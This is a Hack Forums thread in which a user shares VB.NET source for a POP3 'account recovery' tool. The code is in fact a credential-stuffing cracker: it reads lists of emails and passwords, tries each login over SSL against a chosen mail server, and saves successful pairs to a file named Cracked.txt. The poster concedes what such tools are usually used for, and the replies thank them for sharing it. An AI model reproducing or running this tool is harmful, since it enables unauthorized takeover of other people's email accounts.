Hack Forums
[.NET] Pop Protocol Account Recovery - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] Pop Protocol Account Recovery (/showthread.php?tid=4777540)



Pop Protocol Account Recovery - #Kat - Apr 13, 2015

Digging through my main external harddrive and found a project I started for a friend when I first started working with .net. Well basically its a account recovery tool lol needless to say we all know what these are usually made for but yeah sugar coat but okay..

Uses tcp socket class , streamreader and so on assuming you guys actually read the lines..

Code
Imports System.IO
Imports System.Net.Sockets
Imports System.Text
Imports System.Net.Security
Public Class Form1

    Dim PopHost As String
    Dim UserName As String
    Dim Password As String
    Dim PortNm As Integer
    Dim ConnectedA As Boolean
    Dim POP3 As New TcpClient
    Dim Read_Stream As StreamReader
    Dim NetworkS_tream As NetworkStream
    Dim m_sslStream As SslStream
    Dim server_Command, Sent_Val As String
    Dim m_buffer() As Byte
    Dim Server_Reponse As String
    Dim popStat As String
    Dim StatResp As String

    Private Sub Form1_Load(sender As System.Object, e As System.EventArgs) Handles MyBase.Load
      TxtUsrNm.SelectionStart = 0
    End Sub

#Region " Application Functions "

    Sub Login()
      'POP3.ReceiveTimeout = 100

      NetworkS_tream = POP3.GetStream()
      m_sslStream = New SslStream(NetworkS_tream)
      m_sslStream.AuthenticateAsClient(PopHost) ', Nothing, System.Security.Authentication.SslProtocols.Ssl3, False)
      Read_Stream = New StreamReader(m_sslStream)
      TextBox1.AppendText(Read_Stream.ReadLine())
      TextBox1.AppendText(Environment.NewLine)
3:
      server_Command = "USER " + UserName + vbCrLf
      m_buffer = System.Text.Encoding.ASCII.GetBytes(server_Command.ToCharArray())
      m_sslStream.Write(m_buffer, 0, m_buffer.Length)
      TextBox1.AppendText(Read_Stream.ReadLine())
      TextBox1.AppendText(Environment.NewLine)

      server_Command = "PASS " + Password + vbCrLf
      m_buffer = System.Text.Encoding.ASCII.GetBytes(server_Command.ToCharArray())
      m_sslStream.Write(m_buffer, 0, m_buffer.Length)
      Dim Response As String = Read_Stream.ReadLine
      If InStr(Response, "-ERR") Then
      'GoTo 2
      'Application.DoEvents()
      Label2.Text = Response
      ElseIf InStr(1, Response, "Welcome") Then
      ReconList.Items.Add(UserName & ":" & Password)
      Label2.Text = "Recovered: " & UserName & " / " & Password
      Application.DoEvents()
      GoTo 1
      ElseIf InStr(1, Response, "server ready") Then
      ReconList.Items.Add(UserName & ":" & Password)
      Label2.Text = "Recovered: " & UserName & " / " & Password
      Application.DoEvents()
      GoTo 1
      ElseIf InStr(1, Response, "OK mailbox") Then
      ReconList.Items.Add(UserName & ":" & Password)
      Label2.Text = "Recovered: " & UserName & " / " & Password
      Application.DoEvents()
      GoTo 1
      ElseIf InStr(1, Response, "+OK maildrop") Then
      ReconList.Items.Add(UserName & ":" & Password)
      Label2.Text = "Recovered: " & UserName & " / " & Password
      Application.DoEvents()
      GoTo 1
      End If
1:
      server_Command = "STAT " + vbCrLf
      m_buffer = System.Text.Encoding.ASCII.GetBytes(server_Command.ToCharArray())
      m_sslStream.Write(m_buffer, 0, m_buffer.Length)
      ' TextBox1.AppendText(Read_Stream.ReadLine())
      ' TextBox1.AppendText(Environment.NewLine)
      'TextBox1.AppendText(Read_Stream.ReadLine())
      'TextBox1.AppendText(Environment.NewLine)
      'Send STAT command to get information ie: number of mail and size
2:
      Application.DoEvents()
      Response = vbEmpty
    End Sub

    Public Sub CloseServer()
      StatResp = SendCommand(m_sslStream, "QUIT ") & vbCrLf
      TextBox1.Text = StatResp & vbCrLf
      'TextBox1.Text = Environment.NewLine
      'TextBox1.Text = String.Empty
      POP3.Close()
    End Sub

    Function SendCommand(ByVal SslStrem As SslStream, ByVal Server_Command As String) As String
      Server_Command = Server_Command & vbCrLf
      m_buffer = System.Text.Encoding.ASCII.GetBytes(Server_Command.ToCharArray())
      m_sslStream.Write(m_buffer, 0, m_buffer.Length)
      Read_Stream = New StreamReader(m_sslStream)
      Server_Reponse = Read_Stream.ReadLine()
      Return Server_Reponse
    End Function

    Sub Delay(ByVal dblSecs As Double)

      Const OneSec As Double = 1.0# / (1440.0# * 60.0#)
      Dim dblWaitTil As Date
      Now.AddSeconds(OneSec)
      dblWaitTil = Now.AddSeconds(OneSec).AddSeconds(dblSecs)
      Do Until Now > dblWaitTil
      Application.DoEvents() ' Allow windows messages to be processed
      Loop

    End Sub

#End Region

#Region " Command Buttons "

    Private Sub cmdSave_Click(sender As System.Object, e As System.EventArgs) Handles cmdSave.Click
      Dim StreamW As New IO.StreamWriter(Application.CommonAppDataPath & "\Cracked.txt")
      For i = 0 To TxtUsrNm.Items.Count - 1
      StreamW.WriteLine(ReconList.Items.Item(i))
      Next
      StreamW.Close()
      StreamW.Dispose()
      MsgBox("List Saved")
    End Sub

    Private Sub cmdLoade_Click(sender As System.Object, e As System.EventArgs) Handles cmdLoade.Click
      Try
      TxtUsrNm.Items.Clear()
      Dim objReader As New StreamReader(Application.StartupPath & "\Emails.txt")

      Do While Not objReader.EndOfStream
            TxtUsrNm.Items.Add(objReader.ReadLine)
            List1Count.Text = TxtUsrNm.Items.Count
      Loop
      objReader.Close()
      Catch ex As Exception
      Dim Messege As String = ex.ToString
      MsgBox(Messege)
      End Try
    End Sub

    Private Sub cmdLoadp_Click(sender As System.Object, e As System.EventArgs) Handles cmdLoadp.Click
      Try
      TxtPass.Items.Clear()
      Dim objReader As New StreamReader(Application.StartupPath & "\Passwords.txt")

      Do While Not objReader.EndOfStream
            TxtPass.Items.Add(objReader.ReadLine)
            List2Count.Text = TxtPass.Items.Count
      Loop
      objReader.Close()
      Catch ex As Exception
      Dim Messege As String = ex.ToString
      MsgBox(Messege)
      End Try
    End Sub

    Private Sub cmdRecover_Click(sender As System.Object, e As System.EventArgs) Handles cmdRecover.Click
      For l_index As Integer = 0 To TxtUsrNm.Items.Count - 1 'And TxtPass.Items.Count - 1
      TxtUsrNm.Text = CStr(TxtUsrNm.Items(l_index))
      ' TxtPass.Text = CStr(TxtUsrNm.Items(l_index))

      If POP3.Connected = True Then
            CloseServer()
            PopHost = TxtHost.Text
            UserName = TxtUsrNm.Text
            If chkReverse.Checked = True Then
            Password = StrReverse(TxtPass.Text)
            ' Application.DoEvents()
            Else
            Password = TxtPass.Text
            'Application.DoEvents()
            End If
            PortNm = tPort.Value
            POP3 = New TcpClient(PopHost, Integer.Parse(PortNm))

            'POP3.Connect(PopHost, Integer.Parse(PortNm))
            Login()
            ' Application.DoEvents()

      Else

            PopHost = TxtHost.Text
            UserName = TxtUsrNm.Text
            Password = TxtPass.Text
            PortNm = tPort.Value
            POP3 = New TcpClient(PopHost, Integer.Parse(PortNm))
            Login()
            '  Application.DoEvents()
      End If
      Delay(TextBox3.Text)
      Next
    End Sub

    Private Sub cmdReset_Click(sender As System.Object, e As System.EventArgs) Handles cmdReset.Click
      CloseServer()
    End Sub

    Private Sub Button3_Click(sender As System.Object, e As System.EventArgs) Handles Button3.Click
      If InStr(TxtUsrNm.Text, TextBox2.Text) Then
      GoTo 1
      Else
      TxtUsrNm.Items.Add(TextBox2.Text)
      End If
1:
    End Sub

#End Region

    Private Sub cmdClear_Click(sender As System.Object, e As System.EventArgs) Handles cmdClear.Click
      ReconList.Items.Clear()
    End Sub
End Class

Never got to a point where I called it perfect in my eyes needless to say few things I would and wouldn't use..
Theme: CrystalTheme
[Image: 3vVNDZ2.jpg]

will definately remodel and release a better and fully op version ..

drop suggestions and advice

wish I


* - Only3 - Apr 13, 2015

the code is very messy but good example of ssl connection


* - nuk - Apr 13, 2015

Agree with Only3 but it's not too bad at all ;) Thanks for the share OP!


* - #Kat - Apr 13, 2015

appreciate the feedback will be actually updating it and having quite a bit of fun doing so as we speak